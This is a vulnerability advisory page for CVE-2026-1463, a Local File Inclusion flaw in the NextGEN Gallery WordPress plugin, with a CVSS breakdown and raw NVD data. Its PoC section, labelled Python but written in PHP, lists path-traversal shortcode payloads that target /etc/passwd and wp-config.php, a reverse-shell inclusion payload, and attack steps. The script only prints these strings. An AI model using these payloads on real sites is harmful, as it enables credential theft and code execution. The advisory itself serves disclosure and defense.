Security Vulnerability Report
中文
CVE-2026-1463 CVSS 8.8 HIGH

CVE-2026-1463

Published: 2026-03-18 17:16:06
Last Modified: 2026-04-22 21:32:08

Description

The Photo Gallery, Sliders, Proofing and Themes – NextGEN Gallery plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 4.0.3 via the 'template' parameter in gallery shortcodes. This makes it possible for authenticated attackers, with Author-level access and above, to include and execute arbitrary .php files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where .php file types can be uploaded and included.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

NextGEN Gallery plugin < 4.0.4 (所有版本直到4.0.3)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php /** * CVE-2026-1463 PoC - NextGEN Gallery Local File Inclusion * Author: [email protected] * Requirements: WordPress account with Author+ role */ // WordPress shortcode payload for LFI $poc_shortcode = '[gallery template=../../../../../../../../etc/passwd]'; // Alternative: Direct HTTP request with crafted template parameter $target_url = 'http://target-wordpress-site.com/'; $malicious_payload = array( 'gallery_id' => '1', 'template' => '../../../../../../../../../../../../../var/www/html/wp-config.php' ); // Include PHP reverse shell $reverse_shell_payload = '[gallery template=/path/to/uploaded/shell.php]'; /** * Attack Scenario: * 1. Attacker authenticates with Author-level WordPress account * 2. Upload a PHP file (e.g., reverse shell) to writable directory * 3. Use gallery shortcode with template parameter to include the malicious file * 4. Trigger the shortcode to execute arbitrary PHP code */ echo "CVE-2026-1463 PoC\n"; echo "Target: " . $target_url . "\n"; echo "Payload: " . $poc_shortcode . "\n"; ?>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-1463", "sourceIdentifier": "[email protected]", "published": "2026-03-18T17:16:05.510", "lastModified": "2026-04-22T21:32:08.360", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Photo Gallery, Sliders, Proofing and Themes – NextGEN Gallery plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 4.0.3 via the 'template' parameter in gallery shortcodes. This makes it possible for authenticated attackers, with Author-level access and above, to include and execute arbitrary .php files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where .php file types can be uploaded and included."}, {"lang": "es", "value": "El plugin Photo Gallery, Sliders, Proofing and Themes – NextGEN Gallery para WordPress es vulnerable a inclusión local de ficheros en todas las versiones hasta la 4.0.3, inclusive, a través del parámetro 'template' en los shortcodes de galería. Esto hace posible que atacantes autenticados, con acceso de nivel Autor y superior, incluyan y ejecuten ficheros .php arbitrarios en el servidor, permitiendo la ejecución de cualquier código PHP en esos ficheros. Esto puede usarse para eludir los controles de acceso, obtener datos sensibles o lograr la ejecución de código en casos donde los tipos de fichero .php pueden ser subidos e incluidos."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/nextgen-gallery/tags/4.0.3/src/DisplayType/Controller.php#L369", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/nextgen-gallery/tags/4.0.3/src/DisplayType/LegacyTemplateLocator.php#L140", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3460327/nextgen-gallery/trunk/src/DisplayType/LegacyTemplateLocator.php?old=3423202&old_path=nextgen-gallery%2Ftrunk%2Fsrc%2FDisplayType%2FLegacyTemplateLocator.php", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/2d7bc556-cdaf-42a7-8801-ad2e4945a137?source=cve", "source": "[email protected]"}]}}